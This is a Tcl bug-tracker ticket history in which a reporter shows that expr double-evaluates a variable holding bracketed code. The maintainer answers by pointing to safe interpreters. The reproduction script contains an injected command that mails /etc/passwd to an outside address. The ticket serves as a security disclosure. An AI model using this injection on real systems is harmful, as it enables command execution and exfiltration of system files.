Skip to content
Tcl Source Code History Of Ticket 218349
Login

History Of Ticket 218349

Artifacts Associated With Ticket 218349

  1. Ticket change [41534553a7] (rid 116172) by nobody on 2000-10-26 00:56:34:

    1. assignee initialized to: "nobody"
    2. cmimetype initialized to: "text/plain"
    3. comment initialized to:
      OriginalBugID: 4091 Bug
      Version: 8.2.2
      SubmitDate: '2000-01-26'
      LastModified: '2000-01-26'
      Severity: MED
      Status: Closed
      Submitter: techsupp
      ChangedBy: hobbs
      OS: BSD
      OSVersion: FreeBSD 3.2, also tried on Linux 2.2 with Tcl 8.0
      FixedDate: '2000-10-25'
      ClosedDate: '2000-01-26'
      
      
      Name:
      Jørgen Frøjk Kjærsgaard
      
      Extensions:
      None
      
      ReproducibleScript:
      Consider this tclsh session
      
      % set a {[exec mail [email protected] < /etc/passwd]}
      % puts $a
      [exec mail [email protected] < /etc/passwd]
      % expr $a + 1
      1
      
      ObservedBehavior:
      I would expect an error message here, as the value of "a" is not an integer. What happens is that the 
      dangerous command gets executed and returns a zero! (don't do this unless you want to mail your 
      /etc/passwd to me!).
      
      DesiredBehavior:
      "Common sense" says that an "expr" like the above should be harmless. People might very well use such 
      a statement in an unsafe interpreter with user (possibly web) input assuming that it can do no harm... I 
      think it would be a good idea to change "expr" to avoid the dangerous double-interpretation.
      
      
      
      This is a documented feature of the expr command, and allows for
      expressions like:
         expr {[string length $a] == 80}
      
      If one wants safe execution, and is just doing simple expressions
      (like for a calculator), that is what safe interpreters are for.
      
         interp create -safe slave
         slave eval {expr [exec mail ...] + 1}
       => error will be received 
      -- 01/26/2000 hobbs
      
    4. foundin initialized to: "obsolete: 8.2.2"
    5. priority initialized to: "5 Medium"
    6. resolution initialized to: "None"
    7. status initialized to: "Open"
    8. submitter initialized to: "nobody"
    9. subsystem initialized to: "69. Other"
    10. title initialized to: "Potential safety problem in "expr""
    11. type initialized to: "RFE"
  2. Ticket change [6a6d8aef85] (rid 128146) by welch on 2000-10-26 08:20:08:

    1. closedate changed to: "2000-10-26T01:20:08"
    2. closer changed to: "welch"
    3. priority changed to: "2"
    4. resolution changed to: "Fixed"
    5. status changed to: "Closed"
  3. Ticket change [006129fdec] (rid 119311) by dgp on 2001-04-19 04:39:42:

    1. foundin changed to: "None"
    2. status changed to: "Open"
    3. subsystem changed to: "None"
    4. title changed to: "Potential safety problem in "expr""
  4. Ticket change [651360c28b] (rid 92890) by dgp on 2001-04-19 04:40:26:

    1. closedate changed to: "2001-04-18T21:40:26"
    2. closer changed to: "dgp"
    3. status changed to: "Closed"
    4. subsystem changed to: "16. Commands A-H"
    5. title changed to: "Potential safety problem in "expr""